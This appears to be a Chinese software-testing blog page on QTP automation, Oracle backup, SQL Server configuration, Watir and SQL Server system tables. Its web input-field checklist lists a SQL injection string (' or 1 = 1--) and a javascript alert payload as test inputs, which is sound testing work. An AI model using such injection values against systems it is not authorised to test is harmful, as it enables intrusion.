共同探讨QTP相关问题

发布新日志

  • importerror: dll load failed: %1 is not a valid win32 application.

    2014-06-10 12:07:05

    最近用robotframework 操作数据库的时候碰到一个问题  import cx_oracle报错。我操作系统是64位的server2008,python是32bit的2.7。最后总结的原因应该是python的版本应该和cx_oracle的位数是要一样的。 还有一点就是替换oci.dll的时候需要删掉cx_Oracle.pyd这个文件。

    问题参照:http://lijunwei1228ok.blog.163.com/blog/static/9738379720140221950632/

    后来碰到Unable to acquire Oracle environment handle 这个错  把oracle client 下面的oraociei10.dll,oraocci10.dll这两个dll也拷贝到sitepackage下解决。
  • VS2010 Code UI Test 开源框架CUITE介绍

    2012-08-27 16:57:55


    CUITE框架工作流程:

    1.       定义页面控件(ObjectRepository)。

    2.       定义操作步骤(Test Cases.

     

    执行过程:

    1.     加载ObjectRepository类并生成实例

    2.     ObjectRepositoryManager.cs 使用反射拿到ObjectRepository实例中各个field

    3.     利用反射生成field对应实例,使用wrap方法,讲searchpropertyclass type赋给UITestControl(T),通过T来操作UI控件。

    CUITE框架源码结构:

    1.     定义接口ICUITE_ControlBase

    2.     定义类CUITE_ControlBase 继承接口ICUITE_ControlBase, 类包含泛型字段TTUITestControl 类型。

    3.      CUITE_ControlBase提供wrapunwrap方法,用来生成运行时对象T,及返回T对象

    4.     CUITE_ControlBase封装方法中加了WaitForControlReady处理

    5.     针对不同的控件类型封装了几种basecontrolHtmlControls, WinControls, TelerikControls, 像类CUITE_HtmlControl, 继承于CUITE_ControlBase,并新增了Html特有的一些属性及方法,如属性InnerText

    6.     封装Html控件类型为CUITE_Html..,继承与CUITE_HtmlControl,提供一些额外的方法。如CUITe_HtmlCheckBox类,提供方法Check2,使用javascript方式来选中checkbox

  • 网页输入框测试

    2012-08-24 10:57:48

    字符型输入框
    1. 输入框长度测试。
    2. 输入框可接受字符集测试
    0~9或A~Z或a~z或者~!@#$%^&*()_+|/=-`{}[];’”:,./?<>
    3. 数据库特殊字符
    ' or 1 = 1--
    4. html标签,java script关键字
    <>, javascript.:alert("Hello!");
    5. 空格
    6. NULL, null关键字
    7. 特殊字符:回车enter,换行shift enter,转义字符/,&, Space, Tab, Non-ASCII 字符,%,!, ".

    数值型输入框
    1. 非法字符。 A~Z或a~z或者~!@#$%^&*()_+|/=-`{}[];’”:,./?<>
    2. 空字符
    3. 首尾字母为0
    4. 精确位数
    5. 正负数
    6. 小数点不止一个
    7. 超大数值


  • Oracle 备份

    2010-10-19 21:27:52

    数据备份 
    不论何种方式,数据库的备份即为data file/control file/redo file此三种文件的备份。 
    1、exp/imp的备份方式 
    2、脱机备份方式(offline backup) 
    3、联机备份方式(online backup) 
    4、standy的运行模式 

    Oracle冷备份的通常步骤:
    1  正常关闭数据库
    2  备份所有重要的文件到备份目录(数据文件、控制文件、重做日志文件等)
    3  完成备份后启动数据库
      用冷备份进行恢复时,只需要将所有文件恢复到原有位置,就可以启动数据库了 。

    1  进入数据库#sqlplus "/as sysdba"
    2  如果没有启动则要启动:SQL>startup
    3  查询数据文件datafile的所在目录:
    SQL>SELECT name FROM v$datafile;
         查询控制文件controlfile的所在目录:
     SQL>SELECT name FROM v$controlfile;
         查询重做日志文件的所在目录:
      SQL>SELECT member FROM v$logfile;
    4  关闭数据库
       SQL>shutdown
    5  备份文件到备份的目录
        #cp /u01/app/oracle/oradata/orcl/*.dbf  /home/mzl/BackupDatabase
        #cp /u01/app/oracle/oradata/orcl/*.ctl  /home/mzl/BackupDatabase
        #cp /u01/app/oracle/oradata/orcl/*.log  /home/mzl/BackupDatabase
    6  然后启动数据库
       #sqlplus "/as sysdba"
       SQL>startup


  • 安全性测试关注点

    2010-10-14 16:38:45

    1. sql注入。
    2. 数据加密。
    3. 文件的上传有没有限制,对特殊类型文件。
    4. 表单格式的html能否保存本地,修改后再提交。
  • How to: Configure Express to accept remote connections

    2010-10-14 10:42:23

    Content from http://blogs.msdn.com/b/sqlexpress/archive/2005/05/05/415084.aspx

    The information in this posting is superseded by the following KB Article:

    914277 How to configure SQL Server 2005 to allow remote connections
    http://support.microsoft.com/default.aspx?scid=kb;EN-US;914277

    -----------------------------------------------------------------------------------

    Some people have been having issues when trying to make remote connections
    to SQL Express.  This document will hopefully clarify most of the issues
    around remote connections.

    First, networking protocols are disabled by default in SQL Server Express.
    Thus, if someone simply installs Express and chooses all the defaults, SQL
    Server Express will only be able to have connections originating on the
    local machine where SQL Server is installed.

    To enable SQL Server Express to accept remote connections we need to perform.
    the following steps:

    STEP 1: Enabling TCP/IP

    First we must tell SQL Server Express to listen on TCP/IP, to do this
    perform. the following steps:

    1. Launch the SQL Server Configuration Manager from the "Microsoft SQL
    Server 2005 CTP" Program menu
    2. Click on the "Protocols for SQLEXPRESS" node,
    3. Right click on "TCP/IP" in the list of Protocols and choose, "Enable"

    STEP 2: To Browse or not to Browse

    Next, we have to determine if we want the SQL Browser service to be running
    or not.  The benefit of having this service run is that users connecting
    remotely do not have to specify the port in the connection string.  Note: It
    is a security best practice to not run the SQLBrowser service as it reduces
    the attack surface area by eliminating the need to listen on an udp port.

    OPTION A: If you want to always specify a TCP port when connecting (Not
    using SQL Browser service) perform. the following steps else skip these
    steps:

    1.      Launch the SQL Server Configuration Manager from the "Microsoft SQL
    Server 2005 CTP" Program menu

    2.      Click on the "Protocols for SQLEXPRESS" node

    3.      Click on the "TCP/IP" child node

    4.      You will notice an entry on the right panel for "IPAll", right click
    on this and select, "Properties"

    5.      Clear out the value for "TCP Dynamic Ports"

    6.      Give a TcpPort number to use when making remote connections, for
    purposes of this example lets choose, "2301"


    At this point you should restart the SQL Server Express service.  At this
    point you will be able to connect remotely to SQL Express.  A way I like to
    check the connection is my using SQLCMD from a remote machine and connecting
    like this:

    SQLCMD -E -S YourServer\SQLEXPRESS,2301

    The "," in the server name tells SQCMD it's a port.

    So you've tried this and still get an error.  Take a look at Step 3, this
    should address the remaining issue.

    OPTION B:  If you want to use SQL Browser service perform. these steps:

                Note:
                You will need to make this registry key change if you are using the April 
                CTP or earlier versions:

                To enable sqlbrowser service to listen on the port 1434, the following 
                registry key must be set to 1

                HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\90\SQL 
                Browser\Ssrplistener


                Next, restart the sqlbrowser service.

          1. Start the SQL Browser Service

    STEP 3: Firewall..?

          At this point you should be able to remotely connect.  If you still
    can't chances are you have a firewall configured on the computer where SQL
    Express is running.  The instructions below are for Windows XP SP2's
    firewall settings.

          To enable the firewall to allow SQL Server Express traffic:

    1.      Launch the Windows Firewall configuration tool from the control
    panel.

    2.      Click the Exceptions Tab

    3.      Click the "Add Programs." button and select "sqlservr.exe" from the
    location where you install SQL Server Express


    You should be able to remotely connect.  Note, you can get more restrictive
    by just specifying the port number that will be allowed (used best when
    configured with Option A).

    Note: If you chose to use the SQL Browser service, you must also add
    sqlbrowser service executable to the exception list as it listens on udp
    port 1434.
  • HTML DOM学习心得(附:开心网查找空车位函数)

    2008-12-28 14:30:29

    HTML Dom是一个访问HTML文档的W3C标准。它定义了如何去访问页面元素对象以及属性和方法。
    在DOM标准里面:
    1 整个HTML文档是一个文档节点。
    2 每一个HTML 标签都是一个元素节点。
    3 HTML 文本都是文本节点。
    4 每一个HTML 属性都是一个属性节点。

    HTML DOM 的一些主要属性(x是一个HTEML元素)
    x.innerHtml - the inner text value of x (a HTML element)
    x.nodeName - the name of x
    x.nodeValue - the value of x
    x.parentNode - the parent node of x
    x.childNodes - the child nodes of x
    x.attributes - the attributes nodes of x

    HTML DOM 的一些主要方法(x是一个HTEML元素)
    x.getElementById(id) - get the element with a specified id
    x.getElementsByTagName(name) - get all elements with a specified tag name
    x.appendChild(node) - insert a child node to x
    x.removeChild(node) - remove a child node from x

    通常访问HTML DOM节点有一下三种方法:
    1 使用getElementById()
      node.getElementsByTagName("tagname");
    2 使用getElementsByTagName()
      x=document.getElementsByTagName("p");
      For i = 0 to x.Length - 1
        Print x(i).innerText
    3 使用HTML文档的节点树导航
      node.firstChild
      node.childNodes
      node.parentNode

    掌握HTML DOM对qtp web测试是很有帮助的。
    下面有个简单的例子,在开心网上搜索好友列表并把相应的车位状态取出来。如果用qtp实现的话有下面几个难点,好友的列表的长度是动态变化的,好友名称是不固定的,不同的登陆用户有不同的好友。
    使用HTML DOM就可以比较方便的解决找个问题,查看页面源代码我们知道每一个好友都是存在一个"UL"标签里面,而好友的车位状态是存在"LI"标签的子节点里面。

    Function Find_Park()
    Dim d
    Set d = createobject("scrīpting.dictionary")

    'Get all the "UL" tag from the page, each object contains the information of one friend
    Set friends = Browser("争车位 - 开心网").Page("争车位 - 开心网").Object.getElementsByTagName("ul")
    For i = 0 to friends.Length - 1
     'Get all the "LI" tag within each friend, one object  whose style is "FLOAT: right" contain the status of the park
     Set friendAttrs = friends(i).GetElementsByTagName("li")

     blnFlag = False
     For j = 0 to friendAttrs.Length - 1
      If strComp("FLOAT: right", friendAttrs(j).style.csstext, 1) = 0 Then
       Set imgs =  friendAttrs(j).GetElementsByTagName("img")
       d.Add friends(i).InnerText, imgs(0).GetAttribute("alt")
       blnFlag = True
       Exit For
      End If
     Next

     If Not blnFlag Then
      d.Add friends(i).InnerText, "空"
     End If
    Next

    Set Find_Park = d
    End Function

  • 如何使用qtp操作OpenOffice

    2008-11-17 20:59:26

    Public Function ConvertToURL(cFilename)
    Dim sURL
    ' Ensure leading slash.
    If Left(cFilename, 1) <> "/" Then
    cFilename = "/" + cFilename
    End If
    sURL = Replace(cFilename, "\", "/") 'change backslashes to forward slashes.
    sURL = "file://" + sURL 'Example: "
    file:///E:/Sample Files/Sample.ods"
    ConvertToURL = sURL
    End Function


     

    Function GetData(sFileName, sSheetName)
    Dim objServiceManager
    Dim oDesktop
    Dim oDocument
    Dim oSheet
    Dim oParCursor
    Dim oCell
    Dim xSearchDesc

    Set ōbjServiceManager = CreateObject("com.sun.star.ServiceManager")
    Set ōDesktop = objServiceManager.createInstance("com.sun.star.frame.Desktop")
    Set ōDocument = oDesktop.loadComponentFromURL(ConvertToURL(sFileName), "_blank", 0, Array())
    Set ōSheet = oDocument.Sheets.getByName(sSheetName)

    Set xSearchDesc = oSheet.createSearchDescrīptor()
    xSearchDesc.SetSearchString("DC")
    Set ōCell = oSheet.findFirst(xSearchDesc)
    MsgBox oCell.getCellAddress().Row
    MsgBox oCell.getCellAddress().Column '//Use the openoffice search function to getcell and return the row and column

    Set ōRowCursor = oSheet.createCursor()
    oRowCursor.gotoStartofUsedArea(false)
    oRowCursor.gotoEndofUsedArea(True)
    MsgBox oRowCursor.getrows.Count


    Set ōColumnCursor = oSheet.createCursor()
    oColumnCursor.gotoStartofUsedArea(false)
    oColumnCursor.gotoEndofUsedArea(True)
    MsgBox oColumnCursor.getColumns.Count

    MsgBox oSheet.GetCellByPosition(0, 0).GetString()

    End Function

  • 如何根据对象名找出对象库中完整路径的对象

    2008-11-06 01:01:28

    Dim MyArray()
    Dim RowNumber
    RowNumber = 100
    ReDim MyArray(2, RowNumber)
    Dim RowCount
    Set RootObj = CreateObject("Mercury.ObjectRepositoryUtil") 
    RootObj.Load "E:\Project\QTPTest\test.tsr" 
    RowCount = 0
    EnumberateRepository(NULL)

    If RowCount < UBound(MyArray, 2) Then
     ReDim Preserve MyArray(2, RowCount-1)
    End If

    Execute GetobjectDescrīption("q")&".Set "&"""Randall"""
    Set RootObj = Nothing
    '***************************************************************************************
    Sub EnumberateRepository(Root)
        Dim TOCollection, TestObject, PropertiesCollection
        Set TOCollection = RootObj.GetChildren(Root)
     If RowCount > Ubound(MyArray, 2) Then
      ReDim Preserve MyArray(2, Ubound(MyArray, 2) + 100)
     End If
        For i = 0 To TOCollection.Count - 1
                Set TestObject = TOCollection.Item(i)
       MyArray(0, RowCount) = TestObject.GetToProperty("MicClass")
       MyArray(1, RowCount) = RootObj.GetLogicalName(TestObject)
       If IsNull(Root) Then
        MyArray(2, RowCount) = ""
       Else  
        MyArray(2, RowCount) = RootObj.GetLogicalName(Root)
       End If   
      RowCount = RowCount +1
         EnumberateRepository TestObject  
         Next 
    End Sub
    '***************************************************************************************
    Function GetobjectDescrīption(objname)
    Dim ObjDescrīption, ParentName
    ObjDescrīption = ""
    i = UBound(MyArray, 2)
    ParentName = objname
    While i >= 0
    If StrComp(myarray(1, i), ParentName) = 0 Then
        ParentName = myarray(2, i)
        If StrComp(ObjDescrīption, "") = 0 then
        ōbjDescrīption = MyArray(0, i)&"("&chr(34)&MyArray(1, i)&chr(34)&")"
        Else
        ōbjDescrīption = MyArray(0, i)&"("&chr(34)&MyArray(1, i)&chr(34)&")"&"."&ObjDescrīption
     End If
     If StrComp(myarray(2, i), "") = 0 Then
     GetobjectDescrīption = ObjDescrīption
     Exit Function
     End If 
    End If 
    i = i - 1
    Wend
    End Function
  • HTML Elements supported by Watir

    2008-09-07 14:07:02

    The HTML Elements that are currently supported include:
    button 
    <input> tags with type=button, submit, image or reset
    radio 
    <input> tags with the type=radio; known as radio buttons 
    check_box 
    <input> tags with type=checkbox 
    text_field 
    <input> tags with the type=text (single-line), type=textarea (multi-line), and type=password 
    hidden 
    <input> tags with type=hidden 
    select_list 
    <select> tags, known as drop-downs or drop-down lists 
    label 
    <label> tags (including "for" attribute) 
    span 
    <span> tags 
    div 
    <div> tags 
    p 
    <p> (paragraph) tags 
    link 
    <a> (anchor) tags 
    table 
    <table> tags, including row and cell methods for accessing nested elements. 
    image 
    <img> tags 
    form 
    <form> tags 
    frame 
    frames, including both the <frame> elements and the corresponding pages. 
    map 
    <map> tags 
    area 
    <area> tags 
    li 
    <li> tags 
    :id 
     Used to find an element that has an "id=" attribute. Since each id should be unique, according to the XHTML specification, this is recommended as the most reliable method to find an object. *
     
    :name
     Used to find an element that has a "name=" attribute. This is useful for older versions of HTML, but "name" is deprecated in XHTML. *
     
    :value
     Used to find a text field with a given default value, or a button with a given caption, or a text field
     
    :text
     Used for links, spans, divs and other element that contain text.
     
    :index
     Used to find the nth element of the specified type on a page. For example, button(:index, 2) finds the second button. Current versions of WATIR use 1-based indexing, but future versions will use 0-based indexing.
     
    :class
     Used for an element that has a "class=" attribute.
     
    :title
     Used for an element that has a "title=" attribute.
     
    :xpath
     Finds the item using xpath query.
     
    :method
     Used only for forms, the method attribute of a form is either GET or POST.
     
    :action
     Used only for form elements, specifies the URL where the form is to be submitted.
     
    :href
     Used to identify a link by its "href=" attribute.
     
    :src
     Used to identify an image by its URL.
     
    * :id and :name are the quickest of these to process, and so should be used when possible to speed up scrīpts.

    原文地址:http://wiki.openqa.org/display/WTR/Methods+supported+by+Element
  • Effective software testing: 50 Specific

    2008-09-06 15:20:59

    From Elfriede Dustin

    1. Requirement Phase:

    a) Involve Testers from the Beginning.

    b) Verify the requirements.

    c) Design Test Procedures As Soon As Requirements Are Available.

    d) Ensure That Requirement Changes Are Communicated.

    e) Beware of Developing and Testing Based on an Existing System.

    2. Test Planning:

    a) Understand the Task At Hand and the Related Testing Goal.

    b) Consider the Risk.

    c) Base Testing Efforts on a Prioritized Feature Schedule.

    d) Keep Software Issues in Mind.

    e) Acquire Effective Test Data.

    f) Plan the Test Environment.

    g) Estimate Test Preparation and Execution Time.

     

     

  • SQL 系统表

    2008-09-04 21:09:23

    sysaltfiles 主数据库 保存数据库的文件 
    syscharsets 主数据库字符集与排序顺序
    sysconfigures 主数据库 配置选项
    syscurconfigs 主数据库当前配置选项
    sysdatabases 主数据库服务器中的数据库
    syslanguages 主数据库语言
    syslogins 主数据库 登陆帐号信息
    sysoledbusers 主数据库 链接服务器登陆信息
    sysprocesses 主数据库进程
    sysremotelogins主数据库 远程登录帐号
    syscolumns 每个数据库 列
    sysconstrains 每个数据库 限制
    sysfilegroups 每个数据库 文件组
    sysfiles 每个数据库 文件
    sysforeignkeys 每个数据库 外部关键字
    sysindexs 每个数据库 索引
    sysmenbers 每个数据库角色成员
    sysobjects 每个数据库所有数据库对象
    syspermissions 每个数据库 权限
    systypes 每个数据库 用户定义数据类型
    sysusers 每个数据库 用户
    sysaltfiles 
    在特殊情况下,包含与数据库中的文件相对应的行。该表存储在 master 数据库中。

    列名
    数据类型
    描述
    fileid
    smallint
    每个数据库的唯一文件标识号。
    groupid
    smallint
    文件组标识号。
    size
    int
    文件大小(以 8 KB 页为单位)。
    maxsize
    int
    最大文件大小(以 8 KB 页为单位)。0 值表示不增长,–1 值表示文件应一直增长到磁盘已满。
    growth
    int
    数据库的增长大小。0 值表示不增长。根据状态的值,可以是页数或文件大小的百分比。如果 status 为 0x100000,则 growth 是文件大小的百分比;否则是页数。
    status
    int
    仅限内部使用。
    perf
    int
    保留。
    dbid
    smallint
    该文件所属数据库的数据库标识号。
    name
    nchar(128)
    文件的逻辑名称。
    filename
    nchar(260)
    物理设备的名称,包括文件的完整路径。

    >syscharsets 
    每个字符集在表中各占一行,表中还包含定义供 Microsoft? SQL Server? 使用的排序次序。排序次序中的一个在 sysconfigures 中标记为默认排序次序,该次序是实际使用的唯一次序。

    列名
    数据类型
    描述
    type
    smallint
    该行表示的实体类型。1001 是字符集;2001 是排序次序。
    id
    tinyint
    字符集或排序次序的唯一 ID。注意排序次序和字符集不能共享相同的 ID 号。保留从 1 到 240 的 ID 范围供 SQL Server 使用。
    csid
    tinyint
    如果该行表示字符集,则不使用该字段。如果该行表示排序次序,则该字段是在其上生成排序次序的字符集 ID。假设具有该 ID 的字符集行存在于该表中。
    status
    smallint
    内部系统状态信息位。
    name
    sysname
    字符集或排序次序的唯一名称。该字段必须只包含字母 A-Z 或 a-z、数字 0 – 9 和下划线 (_)。必须以字母开头。
    descrīption
    nvarchar(255)
    字符集或排序次序功能的可选描述。
    binarydefinition
    varbinary(255)
    仅限内部使用。
    definition
    image
    字符集或排序次序的内部定义。该字段中的数据结构取决于类型。

    sysconfigures 
    用户设置的每个配置选项在表中各占一行。 sysconfigures 包含最近启动 Microsoft? SQL Server? 前定义的配置选项,还包含最近启动后设置的所有动态配置选项。该表只位于 master 数据库中。
    列名
    数据类型
    描述
    value
    int
    变量的用户可修改值(仅在已执行 RECONFIGURE 后由 SQL Server 使用)。
    config
    smallint
    配置变量号。
    comment
    nvarchar(255)
    对配置选项的解释。
    status
    smallint
    表示选项状态的位图。可能的值包括: 
    0 = 静态(该设置在服务器重新启动时生效)。
    1 = 动态(该变量在 RECONFIGURE 语句执行时生效)。
    2 = 高级(仅当设置了显示高级选项时才显示该变量)。
    3 = 动态和高级。

     
    syscurconfigs 
    每个当前配置选项各占一项。另外,该表还包含四个描述配置结构的项。 syscurconfigs 在由用户查询时动态生成。有关更多信息,请参见 sysconfigures
    列名
    数据类型
    描述
    value
    int
    用户可修改的变量值(仅在已执行 RECONFIGURE 的情况下由 Microsoft? SQL Server? 使用)。
    config
    smallint
    配置变量号。
    comment
    nvarchar(255)
    对配置选项的解释。
    status
    smallint
    表示选项状态的位图。可能的值包括: 
    0 = 静态(该设置在服务器重新启动时生效)。
    1 = 动态(该变量在 RECONFIGURE 语句执行时生效)。
    2 = 高级(仅当设置了显示高级选项时才显示该变量)。
    3 = 动态和高级。
     
    sysdatabases 
    Microsoft? SQL Server? 上的每个数据库在表中占一行。最初安装 SQL Server 时, sysdatabases 包含 master 、 model 、 msdb 、 mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。

    列名
    数据类型
    描述
    name
    sysname
    数据库的名称。
    dbid
    smallint
    数据库 ID。
    sid
    varbinary(85)
    数据库创建者的系统 ID。
    mode
    smallint
    用于创建数据库时在内部锁定该数据库。
    status
    int
    状态位,其中某些状态位可由用户使用 sp_dboption ( read only 、 dbo use only 、 single user 等)进行设置: 
    1 = autoclose ;使用 sp_dboption 设置。
    4 = select into/bulkcopy ;使用 sp_dboption 设置。
    8 = trunc. log on chkpt ;使用 sp_dboption 设置。
    16 = torn page detection ,使用 sp_dboption 设置。
    32 = loading 。
    64 = pre recovery 。
    128 = recovering 。
    256 = not recovered 。
    512 = offline ;使用 sp_dboption 设置。
    1024 = read only ;使用 sp_dboption 设置。
    2048 = dbo use only ;使用
    sp_dboption 设置。
    4096 = single user ;使用 sp_dboption 设置。
    32768 = emergency mode 。
    4194304 = autoshrink 。
    1073741824 = cleanly shutdown 。
    可以同时打开多个位。
    status2
    int
    16384 = ANSI null default ;使用 sp_dboption 设置。
    65536 = concat null yields null ,使用 sp_dboption 设置。
    131072 = recursive triggers ,使用 sp_dboption 设置。
    1048576 = default to local cursor ,使用 sp_dboption 设置。
    8388608 = quoted identifier ,使用
    sp_dboption 设置。
    33554432 = cursor close on commit ,使用 sp_dboption 设置。
    67108864 = ANSI nulls ,使用 sp_dboption 设置。
    268435456 = ANSI warnings ,使用 sp_dboption 设置。
    536870912 = full text enabled ,使用
    sp_fulltext_database 设置。
    crdate
    datetime
    创建日期。
    reserved
    datetime
    留作以后使用。
    category
    int
    包含用于复制的信息位图: 
    1 = 已发布。
    2 = 已订阅。
    4 = 合并已发布。
    8 = 合并已订阅。
    cmptlevel
    tinyint
    数据库的兼容级别。有关更多信息,请参见 sp_dbcmptlevel
    filename
    nvarchar(260)
    数据库主文件的操作系统路径和名称。
    version
    smallint
    创建数据库时使用的 SQL Server 代码内部版本号。仅供 SQL Server 工具在内部用于升级处理。

    syslanguages 
    出现在 Microsoft? SQL Server? 中的每种语言在表中各占一行。虽然美国英语不在 syslanguages 内,但该表始终可由 SQL Server 使用。该表只存储在 master 数据库中。

    列名
    数据类型
    描述
    langid
    smallint
    唯一语言 ID。
    dateformat
    nchar(3)
    日期顺序(如 DMY)。
    datefirst
    tinyint
    一周的第一天:1 表示星期一,2 表示星期二,依此类推,直到 7 表示星期日。
    upgrade
    int
    留作系统使用。
    name
    sysname
    正式语言名称(例如,fran?ais)。
    alias
    sysname
    备用语言名称(如 French)。
    months
    nvarchar(372)
    按从一月到十二月的顺序排列的用逗号分隔的月份全称列表,每个名称最多包含 20 个字符。
    shortmonths
    varchar(132)
    按从一月到十二月的顺序排列的用逗号分隔的缩写月份名称列表,每个名称最多包含 9 个字符。
    days
    nvarchar(217)
    按从一月到十二月的顺序排列的用逗号分隔的天名称列表,每个名称最多包含 30 个字符。
    lcid
    int
    此种语言的 Microsoft Windows NT? 区域设置 ID。
    mslangid
    smallint
    SQL Server 消息组 ID。

    安装了 SQL Server 提供的三十三种语言。下面是语言列表。

    用英语表示的名称
    NT LCID
    SQL Server 消息组 ID
    English
    1033
    1033
    German
    1031
    1031
    French
    1036
    1036
    Japanese
    1041
    1041
    Danish
    1030
    1030
    Spanish
    3082
    3082
    Italian
    1040
    1040
    Dutch
    1043
    1043
    Norwegian
    2068
    2068
    Portuguese
    2070
    2070
    Finnish
    1035
    1035
    Swedish
    1053
    1053
    Czech
    1029
    1029
    Hungarian
    1038
    1038
    Polish
    1045
    1045
    Romanian
    1048
    1048
    Croatian
    1050
    1050
    Slovak
    1051
    1051
    Slovene
    1060
    1060
    Greek
    1032
    1032
    Bulgarian
    1026
    1026
    Russian
    1049
    1049
    Turkish
    1055
    1055
    British English
    2057
    1033
    Estonian
    1061
    1061
    Latvian
    1062
    1062
    Lithuanian
    1063
    1063
    Brazilian
    1046
    1046
    Traditional Chinese
    1028
    1028
    Korean
    1042
    1042
    Simplified Chinese
    2052
    2052
    Arabic
    1025
    1025
    Thai
    1054
    1054

    syslogins 
    每个登录帐户在表中占一行。
    列名
    数据类型
    描述
    sid
    varbinary(85)
    安全标识符。
    status
    smallint
    仅限内部使用。
    createdate
    datetime
    添加登录的日期。
    updatedate
    datetime
    更新登录的日期。
    accdate
    datetime
    仅限内部使用。
    totcpu
    int
    仅限内部使用。
    totio
    int
    仅限内部使用。
    spacelimit
    int
    仅限内部使用。
    timelimit
    int
    仅限内部使用。
    resultlimit
    int
    仅限内部使用。
    name
    varchar(30)
    用户的登录 ID。
    dbname
    nvarchar(128)
    建立连接时,用户的默认数据库名。
    password
    nvarchar(128)
    用户的加密密码(可以是 NULL)。
    language
    nvarchar(128)
    用户的默认语言。
    denylogin
    int
    如果登录是 Microsoft? Windows NT? 用户或组且已被拒绝访问,则为 1。
    hasaccess
    int
    如果已授权登录访问服务器,则为 1。
    isntname
    int
    如果登录是 Windows NT 用户或组,则为 1;如果登录是 Microsoft SQL Server? 登录,则为 0。
    isntgroup
    int
    如果登录是 Windows NT 组,则为 1。
    isntuser
    int
    如果登录是 Windows NT 用户,则为 1。
    sysadmin
    int
    如果登录是 sysadmin 服务器角色成员,则为 1。
    securityadmin
    int
    如果登录是 securityadmin 服务器角色成员,则为 1。
    serveradmin
    int
    如果登录是 serveradmin 固定服务器角色成员,则为 1。
    setupadmin
    int
    如果登录是 setupadmin 固定服务器角色成员,则为 1。
    processadmin
    int
    如果登录是 processadmin 固定服务器角色成员,则为 1。
    diskadmin
    int
    如果登录是 diskadmin 固定服务器角色成员,则为 1。
    dbcreator
    int
    如果登录是 dbcreator 固定服务器角色成员,则为 1。
    loginname
    nvarchar(128)
    登录的实际名称,该名称可能不同于 SQL Server 所使用的登录名。

     
    sysoledbusers 
    每个指定的链接服务器的用户和密码映射在表中占一行。该表存储在 master 数据库中。

    列名
    数据类型
    描述
    rmtsrvid
    smallint
    服务器的 SID(安全标识号)。
    rmtloginame
    nvarchar(128)
    loginsid 映射到的链接 rmtservid 的远程登录名。
    rmtpassword
    nvarchar(128)
    链接 rmtsrvid 内的指定远程登录的加密密码。
    loginsid
    varbinary(85)
    要映射的本地登录 SID。
    status
    smallint
    如果该值为 1,映射应使用用户自己的凭据。
    changedate
    datetime
    上次更改映射信息的日期。


     
    sysprocesses 
    sysprocesses 表中保存关于运行在 Microsoft? SQL Server? 上的进程的信息。这些进程可以是客户端进程或系统进程。 sysprocesses 只存储在 master 数据库中。
    列名
    数据类型
    描述
    spid
    smallint
    SQL Server 进程 ID。
    kpid
    smallint
    Microsoft Windows NT 4.0? 线程 ID。
    blocked
    smallint
    分块进程的进程 ID ( spid )。
    waittype
    binary(2)
    保留。
    waittime
    int
    当前等待时间(以毫秒为单位)。当进程不处于等待时,为 0。
    lastwaittype
    nchar(32)
    表示上次或当前等待类型名称的字符串。
    waitresource
    nchar(32)
    锁资源的文本化表示法。
    dbid
    smallint
    当前正由进程使用的数据库 ID。
    uid
    smallint
    执行命令的用户 ID。
    cpu
    int
    进程的累计 CPU 时间。无论 SET STATISTICS TIME ON 选项是 ON 还是 OFF,都为所有进程更新该条目。
    physical_io
    int
    进程的累计磁盘读取和写入。
    memusage
    int
    当前分配给该进程的过程高速缓存中的页数。一个负数,表示进程正在释放由另一个进程分配的内存。
    login_time
    datetime
    客户端进程登录到服务器的时间。对于系统进程,是存储 SQL Server 启动发生的时间。
    last_batch
    datetime
    客户端进程上次执行远程存储过程调用或 EXECUTE 语句的时间。对于系统进程,是存储 SQL Server 启动发生的时间。
    ecid
    smallint
    用于唯一标识代表单个进程进行操作的子线程的执行上下文 ID。
    open_tran
    smallint
    进程的打开事务数。
    status
    nchar(30)
    进程 ID 状态(如运行、休眠等)。
    sid
    binary(85)
    用户的全局唯一标识符 (GUID)。
    hostname
    nchar(128)
    工作站的名称。
    program_name
    nchar(128)
    应用程序的名称。
    hostprocess
    nchar(8)
    工作站进程 ID 号。
    cmd
    nchar(16)
    当前正在执行的命令。
    nt_domain
    nchar(128)
    客户端的 Windows NT 4.0 域(如果使用 Windows 身份验证)或信任连接的 Windows NT 4.0 域。
    nt_username
    nchar(128)
    进程的 Windows NT 4.0用户名(如果使用 Windows 身份验证)或信任连接的 Windows NT 4.0 用户名。
    net_address
    nchar(12)
    指派给每个用户工作站上的网络接口卡唯一标识符。当用户登录时,该标识符插入 net_address 列。
    net_library
    nchar(12)
    用于存储客户端网络库的列。每个客户端进程都在网络连接上进入。网络连接有一个与这些进程关联的网络库,该网络库使得这些进程可以建立连接。有关更多信息,请参见客户端和服务器 Net-Library
    loginame
    nchar(128)
    登录名。

     
    sysremotelogins 
    每个允许调用 Microsoft? SQL Server? 上的远程存储过程的远程用户占一行。
    列名
    数据类型
    描述
    remoteserverid
    smallint
    远程服务器标识。
    remoteusername
    nvarchar(128)
    远程服务器上的用户登录名。
    status
    smallint
    选项的位图。
    sid
    varbinary(85)
    Microsoft Windows NT? 用户安全 ID。
    changedate
    datetime
    添加远程用户的日期和时间。

     
    syscolumns 
    每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。
    列名
    数据类型
    描述
    name
    sysname
    列名或过程参数的名称。
    id
    int
    该列所属的表对象 ID,或与该参数关联的存储过程 ID。
    xtype
    tinyint
    systypes 中的物理存储类型。
    typestat
    tinyint
    仅限内部使用。
    xusertype
    smallint
    扩展的用户定义数据类型 ID。
    length
    smallint
    systypes 中的最大物理存储长度。
    xprec
    tinyint
    仅限内部使用。
    xscale
    tinyint
    仅限内部使用。
    colid
    smallint
    列或参数 ID。
    xoffset
    smallint
    仅限内部使用。
    bitpos
    tinyint
    仅限内部使用。
    reserved
    tinyint
    仅限内部使用。
    colstat
    smallint
    仅限内部使用。
    cdefault
    int
    该列的默认值 ID。
    domain
    int
    该列的规则或 CHECK 约束 ID。
    number
    smallint
    过程分组时(0 表示非过程项)的子过程号。
    colorder
    smallint
    仅限内部使用。
    autoval
    varbinary(255)
    仅限内部使用。
    offset
    smallint
    该列所在行的偏移量;如果为负,表示可变长度行。
    status
    tinyint
    用于描述列或参数属性的位图: 
    0x08 = 列允许空值。
    0x10 = 当添加 varchar 或 varbinary 列时,ANSI 填充生效。保留 varchar 列的尾随空格,保留 varbinary 列的尾随零。
    0x40 = 参数为 OUTPUT 参数。
    0x80 = 列为标识列。
    type
    tinyint
    systypes 中的物理存储类型。
    usertype
    smallint
    systypes 中的用户定义数据类型 ID。
    printfmt
    varchar(255)
    仅限内部使用。
    prec
    smallint
